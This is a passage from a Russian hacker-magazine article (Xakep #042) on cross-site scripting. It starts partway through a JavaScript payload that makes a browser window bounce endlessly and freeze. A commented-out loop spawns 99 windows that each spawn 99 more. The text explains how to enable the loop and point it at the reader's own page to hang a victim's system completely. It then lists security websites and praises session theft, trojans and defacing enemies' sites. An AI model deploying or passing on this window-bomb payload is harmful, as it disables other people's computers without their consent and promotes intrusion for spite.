Cross Site Scripting

Xakep, номер #042, стр. 042-038-5


window.open("Http:///jj.htm");

window.resizeTo(screen.width/2,screen.height/2);

window.moveTo(1,1);

var x=1;

var y=1;

var dx=20;

var dy=17;

move();

function move(){

while(true){

if(x>=(screen.width)||x<=0) dx=-dx;

if(y>=(screen.height)||y<=0) dy=-dy;

x+=dx;

y+=dy;

window.moveTo(x,y);

}}}

//var i=0;

//while(i<99)

// {

//window.open("Http://vurn/url/srcipt.htm");

//i++;

// }

</script>

<b>Вирусы... вирусы... везде вирусы... Скачай антивирус!;) </body></html>

Этот код заставит окошко броузера скокать по экрану, причем прихлопнуть его по alt+F4 не удастся ;), оно зависает.

А чтобы окончательно повесить систему, необходимо добавить процедуру открытия урла с мессагой и взять все это дело в цикл. В результате скрипт будет вызывать сам себя n раз, а каждое открытое окно будет вызывать еще n окон, и так далее.

Притом вся эта масса будет постоянно двигаться, вызывая незабываемые ощущения у сидящего напротив монитора ;). Правда, наблюдать всю эту красотень сможет перец только с очень мощным кристаллом, мой старенький P-III 450, оверлокнутый до 550, жутко тормозил, открывая по 99 окон иксплорера, каждое из которых пыталось открыть еще 99 ;))).

Чтобы воплотить все ЭТО в жизнь, просто убери из вышеприведенного кода все "//" - это раскомментирует и цикл, и процедуру открытия окон. Да, не забудь заменить Http://vurn/url/srcipt.htm на адрес до твоей мессаги.

Сайты с дополнительной инфой

http://www.securityfocus.com - Один из лучших, на мой взгляд, багтраков. Обновляется ежечасно, за время работы накопилось огромное количество информации - юзай поиск. Все, естественно, на английском - привыкай, в рунете почти нет толковой информации ;).

http://www.cert.org - "Software ingineering Institute". В общем, кодерский сайт, но тут есть куча статей и по security - все толковые, компетентные, хотя, в общем-то, однобокие(кодерский же сайт, кодерский! ;)).

http://www.malware.com - Сайт, полностью посвящен дыркам в windows. Обязательно зайди ;).

http://www.modernhacker.com - Хакерский сайт с неплохой подборкой материалов. Имеется свой собственный багтрак, все материалы путевые, хотя до SF, конечно, еще далеко.

http://www.owasp.org - Полезнейший ресурс. Все сетевые атаки классифицированы и разложены по полочкам, на каждую имеется подробное описание: как пользоваться баком, чем он и кому опасен, как от него защищаться,

в общем, аналитические материалы, претендующие (и успешно!) на объективность.

http://www.securitylab.ru - Русскоязычный ресурс... Весьма посредственный, как мне показалось. По существу, своих материалов нет, если, конечно, не считать оными ПРОМТ'овские переводы того же OWASP'а и англоязычных багтраков.

Этот сайт можно посоветовать людям, слабо владеющим английским языком - в качестве суррогата, должно быть, неплохого. Хотя, всегда лучше получать информацию из оригинальных источников.

http://www.xakep.ru - Комментарии нужны? :) Побежали, побежали!

/* Тхе енд */

Что-что? Ты говоришь "сложно"? Конечно сложно, сложно запустить закаченного трояна на удаленной тачке, сложно упереть сеанс. Еще бы! Это тебе не IIS по unicode-багу ломать, тут подумать надо. Но что только не сделаешь ради обещанного врагу дефейса, ради красивого uin'а! Да и потом хакер от обезьяны тем и отличается, что сложности его не пугают.

Назад на стр. 042-038-4  Содержание  Вперед на стр. 042-038-6